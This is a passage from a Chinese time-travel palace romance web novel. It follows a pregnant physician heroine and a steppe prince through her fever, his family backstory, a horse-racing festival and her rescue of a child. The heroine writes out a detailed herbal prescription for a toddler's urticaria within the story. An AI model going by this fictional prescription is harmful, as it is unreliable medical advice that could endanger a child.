他们曾经一起度过的时光,一起走过的地方,一起施救过的病患,连同两人之间的爱、恨、情、愁…… 点点滴滴,仿佛就如同发生在昨天一样,一切都还是那般清晰的记忆。 可他,却真真实实已永远离开了这个世界。 此时,衣上云坐在这里,曾与他一同闲话过的地方,所见亦是同样的一片夜空。 想起那些日子,那些回忆,不禁默默地热泪盈眶。 嘴里低声呢喃了一句:“二皇子,你一定亦很想再看一眼这片星空,听听这里自由的风声,对吗?” 顿了顿,心里至今仍悲伤不已,又继续道:“我本想着,将你送回来便就离开,去寻一隅之地。待到救了丁香,若是回不去我来时的地方,或许便就如此隐世,了却残生。可不想,他却出现了……” 一想到再见拓跋泽的微微变化,衣上云眼中露出一丝希冀:“你不用担心,大皇子他并没有为难我,他只是想要我留在他的身边赎罪。我现在才知道,他的内心,其实是很爱你这个皇弟的。虽然璟帝只给了我半年的自由之身,但是……应该够了。” 仔细想了想:“有件事,你从未提起过,从前我亦并未觉得,大皇子如今这样,怕是有什么特别的原因所致,他的本性,像是并非十恶不赦。” 一念至此,衣上云悄悄下定决心:“所以我决定,留下来帮帮他。你若在天有灵,保佑我,帮我,毕竟,大皇子是你在这世上唯一的亲人了。我相信,他一定会变好的……” 就在这时,拓跋泽忽地出现在她的身后,开口说道:“夜都深了,还不知道回去?一个人在这里瞎嘀咕什么呢?你该不会,是想偷偷逃跑吧?” 闻声,衣上云被惊地顿立起身来,反驳道:“谁要偷偷逃跑?你以为人人都像你这般言而无信吗?” 岂料拓跋泽竟冷不丁地上前过去,一把拽住了她的手腕扬起,凑到她鼻翼前,靠的极其近地说:“你说谁言而无信?” 面对这突如其来如此近的距离,衣上云顿时吓得大惊失色,一边在其手中反抗,一边道:“放开我,快放开,你放开……” 怎料拓跋泽却丝毫没有松手的意思,不仅如此,似是那力量还越来越紧。 竟还出言吓唬她说:“现在你是本皇子的,本皇子想怎样就怎样,由不得你反抗,你就乖乖束手就擒吧。如此,或许本皇子看在……” 可话还没说完,他忽然意识到这个女人挣扎的力量骤然在手里渐渐减弱。 紧接着,便见衣上云整个人一副软绵绵地似是欲倾倒下去。 拓跋泽便道:“干什么?你这个诡计多端的女人又怎么了?还想耍什么花招?” 直到衣上云接下来很快整个人都瘫倒,靠在了自己的身上,拓跋泽方才慌乱无措地连连呼唤起她。 “喂……你这个女人……” “醒醒……” “醒醒……” “你怎么了?” “你到底怎么了?” 见她迷迷糊糊,嘴里只一个劲地模模糊糊地喊着:“热……” 已然快要失去意识,又脸色异常地泛红,拓跋泽赶忙伸手过去在其额头试了一下,顿发出一阵惊声。 “这个该死的女人怎么这么烫?” 于是来不及做任何思考,紧忙屈膝下去,将衣上云拦腰一把横抱了起来,转身快步回去。 一回到毡帐。 拓跋泽便一边将衣上云放在榻上,一边紧张不已地命令侍女:“快去拿药进来,这个女人浑身滚烫地厉害!” 侍女心中迟疑,并未照着做。 拓跋泽见了,扬声呵斥道:“本皇子说让你赶紧去拿药,你是聋了吗?” 侍女扑通一下跪在了地上,解释道:“大皇子息怒,奴婢不是没有听到,只是这姑娘有着身孕,奴婢见她病得亦着实厉害,一般的草药怕是吃不得。” 拓跋泽自是不懂得这些,只道:“怎么吃不得?难不成就这样让她等死吗?” 侍女怯怯地道:“一般的药草,怕是会伤了他腹中的胎儿。” 拓跋泽听了,却是云淡风轻地道:“左不过一个尚未成形的胚胎而已,伤就伤了,有何可惜?不要不行吗?” 就在这时,传出一阵衣上云迷迷糊糊之中所发出来的声音。 “不……” “不要……” “不要伤害我的孩子” “不要……” “你答应过我的……” 拓跋泽想了想他们之间的交易,随即一副不耐烦极了的样子,生气地道:“该死的女人!真是麻烦。” 随即又命令那侍女:“让人速去取雪山的寒冰回来。” 侍女听闻大惊,遂看向拓跋泽的脸:“大皇子您莫非不会是想……” 却被拓跋泽厉声喝道:“少废话,还不快去!今夜她若是有个什么闪失,小心本皇子要了你的命。” 侍女紧忙起身来,出门去传话。 拓跋泽望着衣上云此刻难受异常的模样,道:“你这个女人,一定是我上辈子欠你的。把你留在本皇子的身边,真不知道究竟是留你来赎罪,还是同本皇子讨债。” 仿佛经历了一场兵荒马乱一般。 直至折腾到天快亮了的时候,衣上云总算是终于褪去了那极危险的温度。 烛火惺忪。 拓跋泽仍就这样一直默默地守着她,看着她终于渐渐恢复正常的脸色,安详地睡着。 不知不觉间,竟就这样看呆了。 眼前不禁再次浮现起,衣上云说那句话时的模样来。 “爱一个人,不是对他说说不完的情话,而是夜里互相掖起的被角……” 霎时间,他似是忽然明白了什么,竟真的伸手过去颤颤巍巍地替衣上云掖起了被角来。 就在这时,迷迷糊糊中的衣上云嘴里发出一阵呢喃的声音。 “魏明轩……” “不……” “轩辕翰……” “快回来……” “来不及了……” “来不及了……” 闻此,拓跋泽顿回过神来快速地收回了手去,脸色骤变,转而嘴里骂骂咧咧地说:“果然亦是个水性杨花的女人,如此不知检点,她到底有多少男人?” 一怒之下,便起身拂袖愤愤离去。 翌日清晨。 衣上云刚刚睁开眼睛,便见一名侍女走了进来。 于是挣扎着起身来,朝其致谢:“昨夜照顾我,真是辛苦你了!” 那侍女近身过来,笑着说:“姑娘终于醒了!只是昨夜寸步不离地守了姑娘一夜的人,是大皇子,并非奴婢!” “拓跋泽?!”衣上云听了,简直不敢相信自己的耳朵。 遂朝其再次确认:“你是说,昨夜拓跋泽守了我一夜,这怎么可能?” 侍女道:“姑娘夜里一直高热不退,大皇子心急如焚,姑娘怀有身孕不能胡乱用药,大皇子便命人连夜去取回雪山上的寒冰,用其将自己冰凉后,才又以自己的身体为姑娘降温。” 霎时间,衣上云惊的瞳孔放大,紧紧裹住自己的身子,道:“什么?你说他用他的身体为我……” 侍女赶忙解释:“姑娘不必担心,大皇子事先已命人用毯子将姑娘包裹着,与姑娘并无肌肤之亲。如此,亦可保证不至于太过寒冷而伤到姑娘与姑娘腹中的胎儿。” 衣上云心想:“这个拓跋泽,他是不是疯了?” 于是赶忙问侍女:“那拓跋泽现在人呢?” 侍女想了想,道:“大皇子照顾了姑娘一夜,似乎也有些不适,此时应该刚刚才歇下!” 衣上云心里着实有些担心,于是着急地起身来:“快带我去看看他!” 侍女却告诉她,说:“大皇子离开前曾交待过奴婢,姑娘若是醒了,便就在此好生休养,莫要再过去,以免重复过了病气给姑娘!” 紧接着,又自行补了一句:“说真的,从小到大,奴婢还从未见过大皇子竟也有这般细心温柔体贴的对待过一个女子!” 衣上云此时心里亦默想着:“这个拓跋泽,到底是个怎样的人?” “从小到大……” 忽地反应过来侍女方才的话,衣上云着急地问:“你是说,从小到大,你与拓跋泽,你一直照顾在他的身边?那你能跟我讲讲你们大皇子以前的事儿吗?” 侍女忽然叹息道:“其实,从小到大,大皇子也挺可怜的!” 衣上云不解地问:“这话怎么讲?他是北烈老国君的长子,可谓是一人之上,万人之下。何来可怜之说?” 婢女吐了口浊气,一边替衣上云倒了盏奶茶,一边缓缓道来。 “大皇子小的时候,并不是现在这样的。因为大皇子是王后的第一个孩儿,王后凡事都亲力亲为,无论生活起居亦或其他,事无巨细,对其颇为上心与疼爱。因此,大皇子亦同样承欢膝下,颇为懂事孝顺。可后来……” 第六百七十七章:互相掖起的被角(二) 回忆过往,似是颇为伤感,婢女不禁忽然停了下来。 顿了顿,复又再次开口继续说:“可后来,因王后生二皇子时难产撒手人寰,故而从那时起,大皇子便就对二皇子生了敌意。” 想到从小便就命运多舛,如今更是年纪轻轻便就已经故去的拓跋宏。 侍女亦心生怜悯地道:“据说幼时有一次,大皇子竟将年幼的二皇子哄骗丢到了荒芜人烟的戈壁上,险些被狼给吃掉。老国君得知后大怒,便罚大皇子在雪地里不吃不喝硬是跪了三天三夜,可大皇子从始至终却无一句求饶。” “当真在雪地里跪了三天三夜?”衣上云听闻,简直惊呆了。 侍女点了点头,又说:“在那三天三夜里,大皇子硬是只靠着饮雪水活了下来,而二皇子此后便就由老国君亲自护着。直到长大记事后,得知王后是因他而死,二皇子便就一直耿耿于怀,所以立志学医,亦只对医术颇为执着,根本无心于朝政,甚至排斥任何政务。” 衣上云总算是明白了过来:“原来一切竟是这样的,难怪这两兄弟无论是性格,亦或是喜好上,一点儿也不像……” 侍女依旧说着:“没有了王后的庇护,老国君又日渐愈来愈繁忙,根本顾不上两位皇子。于是那些个皇叔伯们便就三天两头来找两位皇子的麻烦,欺辱他们。为了活下去,又不愿倚靠老国君的庇护,故而大皇子才渐渐形成了如今这副霸道不讲理,甚至于看似有些残忍,排斥所有一切的样子。” 看到衣上云听着自己所诉说的话,正陷入自己的沉思里。 侍女忽然仔细认真地端详起她来,过了会儿,嘴角忽然勾起一抹淡淡的笑来。 赞叹说:“可这次回来,奴婢瞧着大皇子是真的变了……” 闻声,衣上云复又回过神来看向侍女的脸,认真地听着。 侍女道:“奴婢看到如今在大皇子的身上,复又再次现出了儿时王后尚还在人世时的些许模样,想必这一切改变,都是姑娘的功劳。” “我……我并没有做什么?”衣上云顿看向侍女朝自己所投来的异样的眼神,矢口否认道。 侍女则始终都坚信自己的眼睛所看到的,说:“改变一个人,不一定要为他做什么。有时仅仅只是一句话,亦或在他身边陪着他,便足矣!” 眼看着侍女显然误会了自己,衣上云连忙开口解释说:“我……我留下来有原因的。” 紧接着,垂首看向自己的肚子,说:“你看我现在这个样子,显然哪里都去不了。我之所以留下来,就只是想在这里好好……” 说着说着,衣上云忽然反应了过来,反而质问那侍女:“不对,你看起来年龄并不大。怎会知道关于大皇子从小到大的这么多事情?你该不会是……一直偷偷喜欢着大皇子吧?” 侍女暗藏于心中,亦是蓄谋已久的心思,瞬间被人拆穿。 于是惶恐地跪倒在地上,道:“奴婢不敢。大皇子身份尊贵,怎能是我这种奴才可以觊觎的?那简直就是对大皇子莫大的亵渎。” 衣上云则一点儿也不认同,说:“喜欢一个人又没有错,为什么不敢承认?” 一边说着,便附手上去将侍女扶起身来,问:“对了,你还没有告诉我你的名字呢?” 侍女答道:“姑娘叫我珠儿即可。” 衣上云高兴地拉起她的手,说:“珠儿……我记住你了。” 侍女笑了笑。 转而将衣上云带到了一张食案边落座,说:“姑娘大病初愈,快吃点儿东西吧!这都是可以帮助姑娘恢复体力的好东西。” 衣上云高兴地一坐下,瞧见岸上竟满满一桌与奶相关的食物,光是散发出来的味道,便就使她忍不住当即作呕起来:“呕……” 侍女见了,紧张地道:“姑娘你这是怎么了?可是这些吃食都不合胃口?” 衣上云摆摆手,赶忙起身来远离开,只道:“没有……我只是还不太饿,要么你先端下去吧,我想再去歇一会儿!” 侍女有些纳闷,想了想,道:“如此,那好吧!姑娘若是想要吃的时候,便让人唤奴婢一声。” 衣上云微笑着,点了点头。 侍女便捧着整张食案,走了出去。 待到侍女离去,衣上云方才一边轻抚着心口处,一边缓缓走到了一面铜镜前。 稍加整理衣装,挪步走出了自己的毡帐。 终是放心不下拓跋泽的身体,尤其是这次若不是他,怕是她和肚子里的孩子定要出事。 于是,很快便来到了其所在的毡帐前。 门口的守卫见了,忙朝其禀报道:“姑娘,大皇子刚刚歇下,还未曾醒来!” 衣上云顿竖起一根细长的手指到嘴边,嘘声道:“嘘……” 继而压低声音,朝其解释说:“我知道,莫要吵醒他,我悄悄进去看看便就出来!” 蹑手蹑脚地进去,拓跋泽正安静的睡着。 衣上云轻轻来到其身边,伸手试了试他的额头,嘴里喃喃说:“还好,没事。” 于是,便细心地为他掖了掖被角。 就在这时,拓跋泽忽然发出一阵梦魇般的声音:“为什么那么蠢,为什么就是不听我的话?我说过不要离开草原,为什么就是不听?” 可很快,便又再次恢复了平静。 此时看着他的眼睛,说:“为什么就不能做真正的自己呢,如此伪装,一定很辛苦吧?” 怎料就在这时,拓跋泽竟忽地睁开了眼睛,一把紧紧地捉住了衣上云的一只手朝自己逼近到眼前。 突如其来的四目相对,衣上云顿觉尴尬不已。 慌乱之中,一把大力地甩开了拓跋泽的手,站起身来。 向其解释说明道:“你不要误会,我只是过来看看,特意谢谢你的!” 看到衣上云的脸上顿时现出一片潮红来,拓跋泽心中居然有些得意。 遂瞥了她一眼,坐起身来不耐烦甚至还带有些生气地说:“留下你这个女人果真是麻烦!搞不懂究竟是来赎罪的,还是来讨债的。竟连自己的身体都照顾不好了吗?” “我……”衣上云吞吞吐吐,显然无言以对。 忽想到他方才梦中的那段话,于是赶忙转移了话题:“所以,你其实早就已经原谅二皇子了,对吧?” 闻此,拓跋泽这才意识到衣上云居然在打听自己:“你都已经知道了?” 衣上云没有说话。 拓跋泽一猜便知是谁告知了她这些,怒道:“这个贱婢,真是话多!” 衣上云赶忙朝他解释:“你不要怪珠儿,是我求她告诉我的。” 怎料拓跋泽却忽然反口,否认说:“我是不可能原谅他的。” 思虑片刻,衣上云忽然问他:“你可还记得我上次小产吗?” “嗯”拓跋泽弱弱地应了一声。 衣上云难过地说:“那是因为,太医说我得了一种很严重的恶疾,如果强行生下那个孩子,结局极有可能是母子俱损。所以,为了我能活着,他便亲手送走了我们的孩子!” “他对你,还是真的极好!” 闻此,拓跋泽忽然心生出一丝嫉妒。 衣上云却情绪低落:“可这却并不是我想要的。” 拓跋泽好奇地问:“那你想要什么?” “我……”衣上云欲言又止。 心里却在默默地高声连连呐喊。 “我想回到属于我的时空。” “我想找到魏明轩。” “我想当面听他解释,为什么要不辞而别?” “我想要一个答案。” 可这些话,她似是也只能在心里说说。 最后,她深吸了口气,说:“我想说的是,这世间的每一个生命,都值得被尊重。” 转而看向拓跋泽,说:“在你母后的眼中,显然你就是她的全部。可你有没有想过,二皇子同样是她的所有。” 闻此,拓跋泽顿心情复杂极了地收回了视线。 衣上云继续道:“没错,二皇子的出生,的确打破了你原本幸福的生活,让你永失母爱。可二皇子他又做错了什么?他甚至一出生,便就从未见过自己母亲的样子,还要被你恨一辈子,如此,他不是比你更可怜吗?” 这时,拓跋泽忽然问:“为什么这么想我原谅他?” 衣上云轻抚着自己的腹部,道:“因为,我也即将是一个母亲,亦是因此,便更能体会到王后撒手人寰时,那份多么不舍的心情。” 至此,拓跋泽紧紧闭起了眼睛。 接下来,很长的一段时间里,一室寂静。 不知过了多久,拓跋泽忽然再次开口打破了这片沉静,说:“想要我原谅他,也不是不可以!” 说着,拓跋泽忽然下榻来,冷不丁地凑到了衣上云的耳边,乍出一句:“嫁给本皇子?” 闻此,衣上云惊地顿朝其看过去,坚决反对“不行!” 拓跋泽道:“难道你还爱着他!” 衣上云却说:“不要瞎说,如今我已经和他没有任何关系了!” 拓跋泽对她的口是心非无奈地笑了笑,又道:“还有一个办法,既然太医说你不适合有孕,那便放弃那个孩子?” “休想,你要是敢伤他,我定不饶你。” 看着衣上云这次射向自己那坚定决绝的眼神,拓跋泽心里默默地道:“为了他的孩子,你是当真连命都不要了,还说不爱他?” 于是轻叹了口气,说:“你这也不愿意,那也不愿意,本皇子竟都不知你还有何用了?你究竟打算如何帮我?该不会是等到孩子落地后要逃跑吧。” 衣上云心中自是明白,亦有自己的打算:“你不用一次次地试我,我说帮你便就会帮你。这帮你的第一步,便是……报仇!” 拓跋泽听了不解地道:“报仇?” 衣上云咬牙切齿地道:“二皇子在秦宫里所受的苦,那个狗皇帝一定得加倍偿还才行……” 第六百七十八章:赛马节 听闻如此决心与仇恨,拓跋泽简直不敢相信自己的眼睛和耳朵,霎时间惊呆了。 不可否认,对于此时的她,显然他更加痴迷。 他从未想过眼前这个向来温柔弱小的女人,竟还有这样凶狠的一面。 看到衣上云眼中充斥着浓浓的仇恨,眉头紧蹙,像是再也化不开了一般,拓跋泽凝视了她好一会儿。 忽然心中暗自窃喜着,起身下榻来,瞬间放松极了地说:“走,本皇子带你去个地方!” 衣上云不解地道:“你要带我去哪里呀?你还未曾好好休息休息呢?” “无碍!看来今儿个果真是个好日子,本皇子高兴,睡不着……” 拓跋泽一边说着,一边便大步走了出去。 衣上云抿了抿嘴唇,无奈亦紧跟着出了门。 蓝天白云下,一片醉人的草原旖旎风光。 一路上,两人漫步在广袤无垠的草地上,迎着自由的风。 时而见有人策马奔腾,经过俩人身旁。 就这样走着走着,衣上云忽然听到一阵欢呼声此起彼伏地传来。 她寻声望去,只见不远处人头攒动聚集的地方,彩旗飘飘,载歌载舞,似是格外热闹。 于是便开口问:“他们在做什么?是在庆祝什么吗?” 拓跋泽双手附后着,一边走,一边骄傲自豪地道:“今天是草原上一年一度的赛马节!大家正在忙着庆祝呢……” 衣上云好奇地重复了一遍:“赛马节?” 拓跋泽此时看起来心情颇为舒畅,同其介绍说:“它是人们为了庆祝丰收而举行的,亦可以说是我们草原上最盛大的节日。每年都要设摔跤、赛马、射箭等比赛,以此来展现我们马背上的民族的勇猛豪迈和自由开放,吸引着草原上所有年轻力壮的男子前来参赛。” 就在两人说话间,不知不觉便已来到了场地上。 湛蓝的天空,悠扬的牧歌,碧绿的草原,盛开的鲜花。 美丽端庄的草原姑娘各个盛装打扮,跳着热情的舞蹈,剽悍矫健的草原汉子策马飞奔,谱出一曲美妙的乐章。 衣上云不经意地瞥了一眼,看到拓跋泽脸上洋溢着甚是舒心的笑容,不禁心里犹豫了起来:“或许,他才是真正懂得这片草原之人。” 赛马节,首先进行的是赛马环节。 比赛所用的每一匹马,都被人精心装饰的异常华丽。 马头、马鬃、马尾都被系上了彩绸,胸前围一条彩带,马身上要刷洗一新。为了减少马的负荷,一般都不备马鞍,要骣骑。 伴随着一声烟花在天空中绽放开,预示着比赛正式开始。 草原的汉子们,便开始使出洪荒之力,炫耀起他们的马术技巧来。 马儿奔跑在草原上,蹄声阵阵,仿佛与脚下的山川大地彻底融为一体。 周围聚集的所有人为他们的表演欢呼呐喊着,连连喝彩。 就在这时,身边的拓跋泽忽然打响了一个甚是响亮的口哨。 霎时间,便出现了一匹黝黑黝黑的骏马来,嗒嗒……嗒嗒,很快站在了比赛的起点上,似是在等待着他的主人。 没有丝毫犹豫,拓跋泽当即飞步过去,翻身上马,所有动作一气呵成。 紧接着,伴随着“驾”的一声,亦加入了比赛的行列。 参赛者们一路挥洒着汗水,展示着自己擅长的各种高难度的动作。 马上倒立、马背翻转等等。 让每一个在场的热血沸腾的观众,不断惊叹于他们人与马的完美结合。 果不其然。 在完美做完一个又一个令人意想不到的动作后,眼看着马上就要到达终点,拓跋泽远远地甩开了所有比赛的人。 就连早已在终点等待着的衣上云,亦难以抑制心中的激动,热切期盼着他即将夺冠的这一时刻。 就在这时,从人声鼎沸的人群里,突然隐隐约约现出一个约莫两岁左右的幼童来,跌跌撞撞地朝赛道闯入进来。 眼看着拓跋泽的马逐渐逼近,根本来不及躲避。 拓跋泽的心亦几乎已提到了嗓门口,可他依旧使出浑身力气,狠狠的想要勒住缰绳。 同时,他一边做着手势,一边大声地朝人群里呐喊着:“闪开,都快闪开!” 然情绪显然愈来愈高涨的人们,伴随着人潮朝向终点快速地涌动,根本没有人能听清楚他的呐喊声。 就在这千钧一发之际,只有衣上云忽地意识到他异常的表情。 遂一朝他的目光所及之处看去,一眼锁定了那个幼童的位置,便眼疾手快地跨步朝其扑了过去。 而就在这时,拓跋泽终于稳住了马儿的情绪,毅然松开手中的缰绳。 紧接着腿一抬,人亦跟着飞身了出去。 两只大而有力的手,将虽已牢牢抱住幼童,却已然被人群彻底淹没的衣上云稳稳扶住。 紧张关切极了地紧紧抱住她,问:“你没事吧?” 显然被这惊险的一幕吓得紧紧闭起双眼来的衣上云,似是尚还惊魂未定着。 可一听到耳畔边拓跋泽的声音响起,又见他此刻就在自己的身旁,于是摇了摇头说:“我没事!” 亲自上下将其周身仔细打量了一番,确认其安然无恙,拓跋泽这才终于放下心来,舒了口气,说:“没事就好!” 然衣上云却面露遗憾地道:“可眼看着,你马上就要赢了……” 拓跋泽这才放眼过去,望着早已蜂拥而上,朝着终点狂奔而去的比赛队伍,云淡风轻地道:“不过一场赛马而已,有什么打紧的!” 可心里却是想着:“这个女人怎会如此麻烦,自己的身子都那样了,却还想着去救别人?刚才若是再晚一步,她母子怕是就要被人群给踏平了。” 而身后的衣上云却凝视着他的侧脸,心里默默地道:“真没想到,如今拓跋泽的心,竟亦会变得如此柔软。居然会为了一个与自己不相干的孩子,放弃赢的机会。” 就在俩人各自陷入沉思之际,忽闻一阵呼唤声阵阵传入到耳畔来。 “孩子,你在哪儿?” “我的孩子,你在哪儿呢?” 闻声,俩人倏地回过神来一同朝着正一步步靠近自己身边的一妇人看了过去。 那妇人一近身过来,便将衣上云手中的孩子一把抢了过去。 继而双膝跪在地上将其紧紧抱住,一边哭着,一边连连叹声道。 “谢天谢地,我的孩子平安无事!” “这真是太好了!” 衣上云询问:“这是你的孩儿?” 妇人哽咽着点了点头,回答:“这是我的孩儿,方才我带他过来看赛马,一不小心便被人群给挤散了,我真的吓死了,他是我唯一的儿子,他若是有个什么闪失,我是段段活不下去了的……” 闻声,拓跋泽当即厉声训斥那妇人:“你这个毒妇,怎么连自己的孩子都看不住。” 妇人顿时被吓了一跳。 见此,衣上云狠狠的瞪了他一眼。 拓跋泽便真的收了声。 就在这时,那孩子在妇人的怀里发出咿咿呀呀一阵模糊不清的声音来:“yang……yang” 似是还时不时地伸手去挠自己的小胳膊。 衣上云追随着孩子细微的动作,果然发现其身上似是有些异常,便问那妇人:“他这是怎么弄的?” 妇人回忆着说:“这个我也不是很清楚,约莫有大半个月之前,我带他到湖边浣洗,也没注意,他便就成这样了。” 衣上云掀开孩子的衣物遮挡,仔细查看了一番,说:“这是荨麻疹,应该是被湖边的什么蚊虫叮咬所致。发作时风团位置不定,堆累成片,瘙痒难忍。如果不及时治疗,后果很严重。孩子太小不会表达,所以才会含含糊糊地发出这种求救的声音来……” 衣上云说着,便从身上摸出随身携带的轻巧纸笔来,快速写下了处方。 继而将其交到妇人的手里,对其又解释了一番。 “黄芪补气生血,固护腠理,使邪无所犯;麸炒白术健脾益气祛湿,加强黄芪益气固表之功;生地黄、制何首乌补益阴血以扶正。防风、地肤子、白鲜皮、苍耳子可疏风散邪、清热祛湿。藤类药能宣通营卫,清透疏达,渗入经络,故用忍冬藤祛风活血通络。重用葛根以解痉,缓解膜络挛急。蝉蜕轻浮达表,僵蚕入络搜风,刺猬皮以皮治皮,三者同为动物药,入血分之力均强于草木之品,增强搜风通络止痒之效……” 就在衣上云对妇人继续交待其他事情时,拓跋泽不禁又一次感叹地道:“这个女人果真是善心泛滥,无论在哪里,对任何人,竟都能不求任何回报地施以援手……” 交待安排好一切,妇人连连朝其感谢。 “谢谢姑娘!” “真是太谢谢姑娘了!” 衣上云道:“不必客气,方才孩子受了些惊吓,快点儿带他回家吧,日后一定要好生看管好他,这般大的孩子,是最让人操心的时候……” 妇人笑着说:“谢谢姑娘叮嘱,我记住了,日后我一定仔细看好了他。” “嗯”衣上云这才似是满意的点了点头。 妇人便抱起孩子来,转身欲离去。 可刚一转身,却忽然似是又想起了什么,顿停下脚步来…… 第六百七十九章:不能如你所愿了 那妇人犹犹豫豫之间,忽地顿足停下转过身去问衣上云:“敢问姑娘,我们之前是不是在哪儿见过?” 衣上云正觉身子有些不舒服,遂将一手捂在腹部,闻声赶忙打起精神直起身来。 再次仔细将眼前妇人打量了一番,回忆片刻后,道:“我们之前……见过?” 看到她已然似是没了什么映像。 妇人又再次想了想,终于想了起来。 便将怀里的孩子抱上前去,满脸欣喜地提示她:“对了,姑娘仔细看看这个孩子,他还有个双胞胎的妹妹……” “双胞胎……” 至此,衣上云总算是缓缓将这段尘封已久的记忆翻了出来。 吃惊地说:“你……你便是当年那个怀有双胞胎遭遇难产的大嫂!” “嗯嗯,是我是我。”妇人使劲儿地朝其点了点头,激动地似是连话都快要说不出来。 过了好一会儿,方才平复了些许情绪下来,道:“真没想到,这辈子还能再见到姑娘你,我真是太高兴了。” 想起自己当年那危急的时刻,妇人至今都还后怕着。 此时竟忍不住再一次抹起了眼泪:“那年若不是姑娘,我和我的这一双儿女,早就不在人世了。这俩孩子是早产,他们都说活不成,就算侥幸活了也会是个痴儿。” 妇人将孩子心疼地紧紧抱住,顿了顿,继续说:“只有姑娘你安慰我,还悉心教我通过母乳喂养、肢体接触、沟通、交流等方式提高和孩子之间的亲密度,亦对孩子的智力发展有好处。现如今,我的这对孩子,既健康,又活泼,甚至比正常的孩子长得更好。” 听了妇人的话,衣上云着实备受感动,扶着她的胳膊,称赞她:“大嫂,你做的真的很好!” 妇人吸了吸鼻子,道:“那也得亏姑娘教了我这些方法,否则,仅凭我一大字不识的妇人怎会了解这些。怕是孩子真的就被耽误成了他们口中所说的那样子了……” 衣上云抿了抿嘴,谦虚地道:“大嫂你莫要这样说,我只是做了一名医者该做的事而已。” 这时,妇人忽然变得脸色黯然起来,道:“姑娘有所不知,其实在这草原上,自古以来都是男尊女卑。妇人生了病,甚至都不敢看医生,常常不是自己胡乱采药来吃,便就是等死。” 沉默了一会儿。 此时面对眼前的衣上云,显然给她带来了新的希望,于是眼里满含希冀地问:“姑娘你这次回来了,便就不会再离开了吧?那么以后如果我的姐妹朋友若是生病了,我是不是都可以带去找姑娘诊治呢?” 闻此,衣上云面带着微微笑,嘴里忽然变得支支吾吾了起来:“我……” 恰时,妇人瞥了一眼立在俩人身旁不远处的拓跋泽,正怒目对着自己,不禁心里惊了一下。 回忆了一会儿,却又总觉得不对劲。 于是便问:对了,当年与姑娘一道的那位公子,他如今人在哪儿呢?” 许是忽然再次提到拓跋宏时因为紧张,又或者其他原因,身体突然袭来一阵不适感。 衣上云遂将一手悄悄附在了自己的腹部,吞吞吐吐,显然不知该如何回答她。:“那位公子……他……” 这一细微的动作,被附近的拓跋泽看见,皱了皱眉。 岂料那妇人却似乎一点儿也没有意识到,紧接着忽然乍出一句:“你与那位公子,同样慈眉善目,医者仁心,看似真的极其般配。简直就是郎才女貌,天作之合,你们应该早已经成婚了吧?!” “他……他……” 衣上云跃跃欲试,却几次三番都不知该如何说出实情,只是那只手一直紧紧按在腹部,偶尔好像还略显吃力地咬咬嘴唇。 就在这时,拓跋泽再也忍受不了,直截了当地上前过去,告诉那妇人:“他们怕是不能如你所愿了……那个男人已经死了!” 不仅如此,还接着对她发出一阵警告声:“还有,你若敢再继续问下去,小心我让你全族皆都无法在这草原上继续待下去。” 闻此,衣上云顿瞪向拓跋泽的眼睛,狠狠道:“拓跋泽,在说什么呢?……你给我住嘴!” 刹那间,妇人放大瞳孔,发出连连惊声来。 “什么……” “公子死了……” “怎么会?” “这人……看起来怎么有些眼熟?” 就在那妇人,难以置信地怔愣在原地时。 拓跋泽忽地上前,出乎所有人意料的弯腰下去,将衣上云竟一把横抱了起来。 衣上云着实被其举动吓了一跳,惊看向他的脸,连连质问他。 “拓跋泽……你要干什么?” “还不快放我下来。” 拓跋泽却是云淡风轻地说:“本皇子现在感觉困了,要回去休息。” 衣上云不得不双手勾住他的脖颈,来保持自己的身体平衡,却是颇为不解地道:“你要回去休息你就去啊,拉着我做什么?我又不是三岁小孩。” 感觉到她在自己的怀里挣扎着,拓跋泽霸道极了地说:“不要说话,亦不要做些无谓的挣扎,你知道没有用的!” 望着俩人一道离去的背影,妇人嘴里发出一阵喃喃自语。 “大皇子?” “这到底是怎么回事?” 很快。 拓跋泽便将衣上云驾到马背上,放在自己的前面,与她共乘一骑马,带回到她的毡帐里。 丝毫不管不顾她在自己的耳旁,吵吵闹闹地叫喊了一路。 “拓跋泽,你是不是疯了?” “你到底想干什么?” “以后,我不许你这么对我。” “如果还想继续与我合作,便就不要再做这样的事。” …… 可不管自己说多么狠绝的话。 拓跋泽似乎根本就没有放在心上,一到毡帐前,便自己先跃下马来,继而才伸手去接她。 且关切问她:“方才救那个孩子的时候,你是不是被人潮撞倒了?” 此话一出,衣上云这才意识到拓跋泽的观察入微,便是因此,他才不顾其反对,执意做了这一切。 不禁顿时怔住,欲言又止道:“我……” 拓跋泽再次询问:“为什么不直接了当地告诉那妇人真相?” 衣上云被其一边抱下马来,一边说:“我只是不想看到她难过的样子。” 拓跋泽却道:“不告诉她真相,她便真的就不难过了吗?可真相,永远只有一个,不管难不难过,她都要接受。” 一提起拓跋宏,加之许是之前的不适感尚还并未真正褪去,衣上云忽觉一阵晕眩。 拓跋泽一意识到她的不对劲,赶忙伸出一双大而有力的手将她拦腰抱起。 看着怀中这个如此不知死活的女人,狠狠道:“你这个蠢女人,若是有个什么闪失,你看我不……” 话未说完,便隐隐约约听到一阵弱弱的道歉声传入耳畔:“对不起,是我错了……” 这一声,柔柔弱弱。 似是将拓跋泽的心瞬间彻底融化,于是佯装着继续怒声说了句道:“既然你是本皇子的,本皇子便就不允许你为了除本皇子之外的任何人而受一丁点儿伤害。” 确定衣上云只是动了点儿胎气,并没有什么太大的问题。 拓跋泽亲自看着她睡着,方才起身离开。 待到衣上云沉沉的睡着,再次醒来的时候,又是一个美丽的夕阳西下时分。 看到衣上云终于缓缓睁开了眼睛,珠儿在榻前欣喜地道:“姑娘终于醒了,你一定饿了吧,快起来看看奴婢给你准备了什么吃的?” 整日左不过就那几样,换来换去都是与奶相关的食物,她实在对此提不起一丝胃口来。 究其原因,凭着21世纪的记忆。 据说是因为自己那个非常不乐意读书的叔父,儿时总是很喜好借着放羊去贪玩。 如此一来,便致使她羊奶喝到了整整八岁多,直到有一日,叔父不知为什么,实在是气急了,便狠狠摔碎了她心爱的奶瓶,方才使她不得不断奶。 打从那时起,她一闻到奶味便就作呕。 可反过来说,如此下去,她不禁还真的担心起会不会影响腹中的胎儿。 可看到珠儿满脸希冀,她又不得不扬起笑脸来起身答应道:“嗯……” 看到珠儿重新捧着一食案进来,说:“姑娘这些天以来,都不曾吃下什么东西,想必现在一定很饿吧,快来看看这是什么?” 岂料,原本心中并无多少期待的衣上云,霎时间,竟睁大了眼睛,看着面前盘子里摆放着的食物发出一阵惊声:“这是……包子?” 